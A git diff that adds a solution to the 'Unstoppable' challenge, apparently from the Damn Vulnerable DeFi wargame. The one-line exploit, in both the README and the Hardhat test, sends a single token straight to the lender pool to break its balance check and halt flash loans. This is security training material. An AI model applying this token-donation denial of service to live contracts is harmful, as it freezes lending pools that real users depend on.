diff --git a/test/unstoppable/README.md b/test/unstoppable/README.md index 8cdc92036..9abed45c5 100644 --- a/test/unstoppable/README.md +++ b/test/unstoppable/README.md @@ -89,5 +89,7 @@ In order to beat the level, we need to send tokens to the SC directly, bypassing # Attack function ``` - +it("Exploit", async function () { + await this.token.transfer(this.pool.address, 1); +}); ``` diff --git a/test/unstoppable/unstoppable.challenge.js b/test/unstoppable/unstoppable.challenge.js index 723981300..626d923cf 100644 --- a/test/unstoppable/unstoppable.challenge.js +++ b/test/unstoppable/unstoppable.challenge.js @@ -1,53 +1,62 @@ -const { ethers } = require('hardhat'); -const { expect } = require('chai'); - -describe('[Challenge] Unstoppable', function () { - let deployer, attacker, someUser; - - // Pool has 1M * 10**18 tokens - const TOKENS_IN_POOL = ethers.utils.parseEther('1000000'); - const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100'); - - before(async function () { - /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ - - [deployer, attacker, someUser] = await ethers.getSigners(); - - const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer); - const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer); - - this.token = await DamnValuableTokenFactory.deploy(); - this.pool = await UnstoppableLenderFactory.deploy(this.token.address); - - await this.token.approve(this.pool.address, TOKENS_IN_POOL); - await this.pool.depositTokens(TOKENS_IN_POOL); - - await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE); - - expect( - await this.token.balanceOf(this.pool.address) - ).to.equal(TOKENS_IN_POOL); - - expect( - await this.token.balanceOf(attacker.address) - ).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE); - - // Show it's possible for someUser to take out a flash loan - const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser); - this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address); - await this.receiverContract.executeFlashLoan(10); - }); - - it('Exploit', async function () { - /** CODE YOUR EXPLOIT HERE */ - }); - - after(async function () { - /** SUCCESS CONDITIONS */ - - // It is no longer possible to execute flash loans - await expect( - this.receiverContract.executeFlashLoan(10) - ).to.be.reverted; - }); +const { ethers } = require("hardhat"); +const { expect } = require("chai"); + +describe("[Challenge] Unstoppable", function () { + let deployer, attacker, someUser; + + // Pool has 1M * 10**18 tokens + const TOKENS_IN_POOL = ethers.utils.parseEther("1000000"); + const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther("100"); + + before(async function () { + /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + + [deployer, attacker, someUser] = await ethers.getSigners(); + + const DamnValuableTokenFactory = await ethers.getContractFactory( + "DamnValuableToken", + deployer + ); + const UnstoppableLenderFactory = await ethers.getContractFactory( + "UnstoppableLender", + deployer + ); + + this.token = await DamnValuableTokenFactory.deploy(); + this.pool = await UnstoppableLenderFactory.deploy(this.token.address); + + await this.token.approve(this.pool.address, TOKENS_IN_POOL); + await this.pool.depositTokens(TOKENS_IN_POOL); + + await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE); + + expect(await this.token.balanceOf(this.pool.address)).to.equal( + TOKENS_IN_POOL + ); + + expect(await this.token.balanceOf(attacker.address)).to.equal( + INITIAL_ATTACKER_TOKEN_BALANCE + ); + + // Show it's possible for someUser to take out a flash loan + const ReceiverContractFactory = await ethers.getContractFactory( + "ReceiverUnstoppable", + someUser + ); + this.receiverContract = await ReceiverContractFactory.deploy( + this.pool.address + ); + await this.receiverContract.executeFlashLoan(10); + }); + + it("Exploit", async function () { + await this.token.transfer(this.pool.address, 1); + }); + + after(async function () { + /** SUCCESS CONDITIONS */ + + // It is no longer possible to execute flash loans + await expect(this.receiverContract.executeFlashLoan(10)).to.be.reverted; + }); });